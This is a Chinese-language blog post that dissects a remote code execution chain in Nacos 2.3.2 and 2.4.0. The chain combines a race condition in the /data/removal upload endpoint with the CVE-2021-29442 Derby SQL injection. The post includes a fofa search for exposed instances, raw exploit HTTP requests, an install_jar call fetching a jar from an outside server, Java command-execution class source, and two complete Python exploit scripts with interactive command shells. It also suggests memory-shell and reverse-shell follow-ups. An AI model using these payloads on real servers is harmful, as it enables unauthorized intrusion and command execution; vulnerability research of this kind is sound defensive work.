再不蹭热点就凉啦~
--vvmdx
0x01 简介
0x02 涉及软件
0x03 检索指纹
0x04 漏洞分析
执行用户上传的文件
条件竞争
SQL注入
0x05 漏洞复现
0x06 不出网利用姿势
准备
基于FUNCTION的不出网利用
基于PROCEDURE的不出网利用
0x07 延伸场景及总结
Nacos(全称为 “Naming and Configuration Service”)是一个开源的分布式服务发现和配置管理平台,由阿里巴巴集团开发并开源。Nacos 提供了服务注册、发现、配置管理、动态 DNS 服务等功能,可帮助开发者构建弹性的、高可用的微服务架构。
nacos2.3.2
nacos2.4.0
fofa: app="NACOS"
环境搭建:
git clone https://github.com/nacos-group/nacos-docker.git
cd nacos-docker
docker-compose -f example/standalone-derby.yaml up
该漏洞最早于2020年出现在https://github.com/alibaba/nacos/issues/4463 当时官方不认这个漏洞,认为是特性,默认的docker也没加鉴权,当时这个漏洞主要用于未授权查询SQL,现在配合另一个可造成命令执行的漏洞。
该漏洞有两个利用条件:
配合条件竞争执行恶意SQL,加载恶意jar并注册函数
利用2020年的nacos derby sql注入漏洞(CVE-2021-29442)调用恶意函数拿到回显结果
最新代码存在第二行鉴权行,然而最新版本的官方docker默认配置也不加鉴权
@PostMapping(value = "/data/removal")
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")
public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {
DeferredResult<RestResult<String>> response = new DeferredResult<>();
if (!DatasourceConfiguration.isEmbeddedStorage()) {
response.setResult(RestResultUtils.failed("Limited to embedded storage mode"));
return response;
}
DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);
WebUtils.onFileUpload(multipartFile, file -> {
NotifyCenter.publishEvent(new DerbyImportEvent(false));
databaseOperate.dataImport(file).whenComplete((result, ex) -> {
NotifyCenter.publishEvent(new DerbyImportEvent(true));
if (Objects.nonNull(ex)) {
response.setResult(RestResultUtils.failed(ex.getMessage()));
return;
}
response.setResult(result);
});
}, response);
return response;
}
对/data/removal
接口进行文件上传时,会创建临时文件记录数据,随后删除,关键函数为这个onFileUpload
函数
public static void onFileUpload(MultipartFile multipartFile, Consumer<File> consumer,
DeferredResult<RestResult<String>> response) {
if (Objects.isNull(multipartFile) || multipartFile.isEmpty()) {
response.setResult(RestResultUtils.failed("File is empty"));
return;
}
File tmpFile = null;
try {
tmpFile = DiskUtils.createTmpFile(multipartFile.getName(), TMP_SUFFIX);
multipartFile.transferTo(tmpFile);
consumer.accept(tmpFile);
} catch (Throwable ex) {
if (!response.isSetOrExpired()) {
response.setResult(RestResultUtils.failed(ex.getMessage()));
}
} finally {
DiskUtils.deleteQuietly(tmpFile);
}
}
这里用了类似生产-消费者的模式:
生产者会产生/tmp下的临时数据包,删除数据包的几个过程,消费者对取到的数据包进行导入数据库操作
个人理解这里的消费者操作是异步的,且代码中没有看到任何锁的机制
导入数据慢,删除数据快,消费者获取到的数据包很可能已经被删除了,呈现出我们直接访问接口上传恶意数据通常会报”找不到文件错误“
通过大并发发包,我们产生了大量的文件句柄,使得系统在删除对应的句柄时出现了迟缓,提高了消费者在数据删除前导入数据的机会,可以让消费者成功取到几次数据,实现恶意jar包的导入、从而导致恶意函数的创建。
条件竞争失败则返回
{"code":500,"message":"File '/tmp/file3339752271242765906.tmp' does not exist","data":null}
条件竞争成功则返回
{"code":200,"message":null,"data":""}
重复多次成功则返回already exists
{"code":500,"message":"org.springframework.dao.DataIntegrityViolationException: StatementCallback; SQL [CALL sqlj.install_jar('http://ip:port/download', 'NACOS.hPbTQwag', 0); CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hPbTQwag'); CREATE FUNCTION S_EXAMPLE_hPbTQwag( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec']; Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.; nested exception is java.sql.BatchUpdateException: Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.","data":null}
SQL注入发生点则是一个2020年的漏洞(CVE-2021-29442),允许我们任意select,最新代码多了第二行鉴权行,然而默认最新版本的官方docker也不加鉴权,这也是风险所在
@GetMapping(value = "/derby")
@Secured(action = ActionTypes.READ, resource = "nacos/admin") //鉴权行
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
String selectSign = "SELECT";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (!DatasourceConfiguration.isEmbeddedStorage()) {
return RestResultUtils.failed("The current storage mode is not Derby");
}
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
List<Map<String, Object>> result = template.queryForList(sql);
return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}
/nacos/v1/cs/ops/derby
和/nacos/v1/cs/ops/data/removal
在使用Derby数据库作为内置数据源时,用于运维人员进行数据运维和问题排查
derby接口可以做select查询
removal接口的本意应该是用于运维人员做数据迁移导入数据用的,在此漏洞的利用过程中,其提供了执行任意多条sql语句的作用,唯一疑惑的是这个接口在上传SQL代码时是概率性成功的,似乎不像一个正常功能
官方在7月16日发布了有关这些接口的公告[4],主要也在强调鉴权的重要性
首先需要配合条件竞争执行恶意sql,加载jar包并注册函数
请求包(需要网络环境较好的场景,通常需要重复发包100甚至上千次左右)直到结果返回success
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 496
Content-Type: multipart/form-data; boundary=80d34d17b69db69702aa0eb666e2f7fb
--80d34d17b69db69702aa0eb666e2f7fb
Content-Disposition: form-data; name="file"; filename="file"
CALL sqlj.install_jar('http://127.0.0.1:5001/download', 'NACOS.hPbTQwag', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hPbTQwag')
CREATE FUNCTION S_EXAMPLE_hPbTQwag( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
--80d34d17b69db69702aa0eb666e2f7fb--
执行完上传文件的恶意sql后,就可以用CVE-2021-29442执行UDF函数实现RCE
GET /nacos/v1/cs/ops/derby?sql=select+%2A+from+%28select+count%28%2A%29+as+b%2C+S_EXAMPLE_hPbTQwag%28%27whoami%27%29+as+a+from+config_info%29+tmp+%2F%2AROWS+FETCH+NEXT%2A%2F HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
接收参数并执行命令的类,测试时发现data/removal
接口不可返回内容,因此需要使用void的静态方法,否则CALL的时候会报错
恶意类:用于接收传参并执行命令
package example;
public class Test {
public static void main(String[] args) {
}
public static void exec(String cmd) {
StringBuffer bf = new StringBuffer();
try {
Process p = Runtime.getRuntime().exec(cmd);
} catch (Exception var10) {
}
}
}
src/META-INF/manifest.txt
Manifest-Version: 1.0
Main-Class: example.Test
编译、打包、编码
javac src/example/Test.java
jar -cvf payload.jar -C src/ .
cat payload.jar|base64
最终jar包目录结构:
├── payload.jar
└── src
├── META-INF
│ └── manifest.txt
└── example
├── Test.class
└── Test.java
条件:需要两个接口有权访问
原理:利用SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE
写文件到本地再加载,实现不出网利用(使用方法参考derby官网文档[2])
import random, os
import requests
from urllib.parse import urljoin
import base64
payload = b'' // 准备阶段获得的base64编码
payload = base64.b64decode(payload).hex()
def exploit(target):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
for i in range(1,10000):
if i % 100 == 0:
print(i // 100)
post_sql = """
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar_name}.jar')
CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
""".format(junk=os.urandom(3).hex(),payload=payload,id=now_id,jar_name=jar_name)
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
post_json = post_resp.json()
if post_json.get('message',None) is None and post_json.get('data',None) is not None:
while True:
command = input('>>>')
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)
get_resp = requests.get(url=derby_url,params={'sql':get_sql})
print(get_resp.json())
if __name__ == '__main__':
target = 'http://127.0.0.1:8848'
exploit(target=target)
条件:只需要data/removal
有权访问
该方法可以用于某些只拦截/derby
sql查询接口的waf
这个方法最早出现在lvyyevd的博客[1]中,原理是创建一个Java存储过程,而后可以调用类的静态方法
使用方法:derby官网文档[3]
import random, os
import requests
from urllib.parse import urljoin
import base64
payload = b''
payload = base64.b64decode(payload).hex()
def exploit(target):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
now_table = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
for i in range(1,10000):
if i % 100 == 0:
print(i)
post_sql = """
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar}.jar')
CALL sqlj.install_jar('/tmp/{jar}.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE PROCEDURE {table}(PARAM VARCHAR(200)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'example.Test.exec'
CALL {table}('touch /tmp/666')\n""".format(junk=os.urandom(3).hex(),table=now_table,payload=payload,id=now_id,jar=jar_name)
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
if not post_resp.json()['message'].startswith('File'):
print(post_resp.json())
if __name__ == '__main__':
target = 'http://127.0.0.1:8848'
exploit(target=target)
该漏洞配合未授权漏洞可以实现命令执行(默认不改配置则不鉴权)
配合nacos的任意用户创建漏洞/弱口令等实现授权后的命令执行
nacos多了一条执行命令的链路
修改jar包可直接注入内存马,更贴合实战
理论上部分出网场景中调第一个removal函数直接反弹shell也可
[1].http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
[2].https://db.apache.org/derby/docs/10.14/ref/rrefexportselectionproclobs.html
[3].https://db.apache.org/derby/docs/10.14/ref/rrefcreateprocedurestatement.html
[4].https://nacos.io/blog/announcement-derby-ops-api/?source=news\_announcement/